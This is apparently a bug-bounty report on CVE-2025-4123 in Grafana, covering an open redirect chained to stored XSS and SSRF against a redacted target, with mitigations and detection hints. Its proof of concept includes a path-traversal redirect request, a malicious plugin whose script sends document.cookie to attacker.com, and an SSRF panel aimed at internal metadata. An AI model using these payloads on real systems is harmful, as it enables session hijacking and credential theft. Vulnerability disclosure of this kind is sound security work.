CVE‑2025‑4123 — Grafana Open Redirect → Stored XSS → SSRF (Full Read) at ██████

How it was found

Summary

CVE‑2025‑4123 is a high‑severity vulnerability in Grafana OSS and Enterprise that allows unauthenticated attackers to chain multiple flaws:

• Open Redirect via path traversal in the public redirect handler.
• Stored XSS through malicious plugin injection.
• Full‑read SSRF if the Grafana Image Renderer plugin is installed.

This can lead to account takeover, data theft, and internal network compromise.

3. Affected Products

• Grafana OSS & Enterprise 8.x through 12.x

• Not affected: Grafana Cloud (managed service)

• Vulnerable configurations:

  • Anonymous access enabled
  • Image Renderer plugin installed
  • Outbound egress to the internet is allowed

4. CVSS Score

CVSS v3.1: 7.6 (High) Vector: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L

5. Technical Details

5.1 Root Cause

The /public/redirect endpoint in Grafana fails to validate and sanitize redirect targets. Combined with plugin auto‑loading from external sources, this allows loading untrusted JavaScript into the Grafana origin context.

5.2 Exploit Flow

Step 1 — Open Redirect The attacker crafts a URL to the public endpoint with a path traversal pattern:

https://<victim-domain>/public/..%2F%5█████%2F%3f%2F..%2F..

Example from testing:

██████████

█████

This causes the server to redirect to ██████████ (or attacker-controlled domain).

Step 2 — Host Malicious Plugin

1. Attacker sets up a fake Grafana plugin repository with:

   • plugin.json
   • malicious.js (steals cookies, executes admin actions)

2. The victim is redirected to this plugin via the vulnerable endpoint.

Step 3 — Stored XSS

• Grafana loads the plugin and executes attacker‑supplied JavaScript in the victim’s browser under the trusted Grafana origin.

• This can steal:

  • Session tokens
  • API keys
  • User credentials
  • Dashboard data

Step 4 — SSRF (Optional) If the Image Renderer plugin is installed:

• Attacker uses crafted image URLs pointing to internal services (e.g., ████).
• Grafana fetches the content, sending it back to the attacker.
• This can expose AWS credentials or sensitive internal API data.

6. Proof of Concept (PoC)

6.1 Open Redirect

GET /public/..%2F%5█████████%2F%3f%2F..%2F.. HTTP/1.1
Host: ████████
User-Agent: Mozilla/5.0
Accept: */*

Expected behavior: Redirect to https://███████/

6.2 Stored XSS via Malicious Plugin

1. Create plugin.json:

{
  "type": "panel",
  "name": "Evil Plugin",
  "id": "evil.plugin",
  "includes": [],
  "scripts": ["malicious.js"]
}

2. Create malicious.js:

alert("XSS - Session: " + document.cookie);
// exfiltration to attacker server
fetch("https://attacker.com/log?c=" + encodeURIComponent(document.cookie));

3. Redirect victim to:

██████████

6.3 SSRF (Full Read)

If Image Renderer is enabled:

{
  "dashboard": {
    "panels": [
      {
        "type": "image",
        "url": "█████████"
      }
    ]
  }
}

Renderer fetches internal metadata → credentials leaked.

7. Impact

• Account takeover (including admin accounts)
• Persistent compromise of the Grafana instance
• Internal network access
• Cloud service compromise if SSRF exploited in AWS/GCP/Azure

8. Mitigation

Patch immediately to:

• 10.4.18+security-01
• 11.2.9+security-01
• 11.3.6+security-01
• 11.4.4+security-01
• 11.5.4+security-01
• 11.6.1+security-01
• 12.0.0+security-01

Configuration:

• Disable anonymous access:

[auth.anonymous]
enabled = false

• Restrict plugin loading to signed plugins only
• Enable strict CSP:

content_security_policy = true

• Remove Image Renderer if not required
• Restrict outbound egress to trusted domains only

9. Detection

Look for:

• /public/ requests with encoded ..%2F patterns
• Unrecognized plugin loads in logs
• Unexpected external connections from Grafana server

Example log match:

t=2025-08-05 lvl=info msg="Request Completed" logger=context userId=0 method=GET path=/public/..%2F

10. References

• Grafana Security Advisory — CVE‑2025‑4123
• NVD — CVE‑2025‑4123
• Indusface Analysis
• Ionix.io Technical Breakdown
• Wiz.io Vulnerability DB Entry

Note: During testing, we successfully exploited the Open Redirect vector using the payload:

███

The XSS and SSRF chains described above were not fully executed in this assessment due to the number of required setup steps and environmental constraints. However, the confirmed open redirect behavior validates the presence of CVE‑2025‑4123 in the target, as it is a core prerequisite for achieving the documented full‑chain exploitation.

System Host(s)

████████

Affected Product(s) and Version(s)

CVE Numbers

Suggested Mitigation/Remediation Actions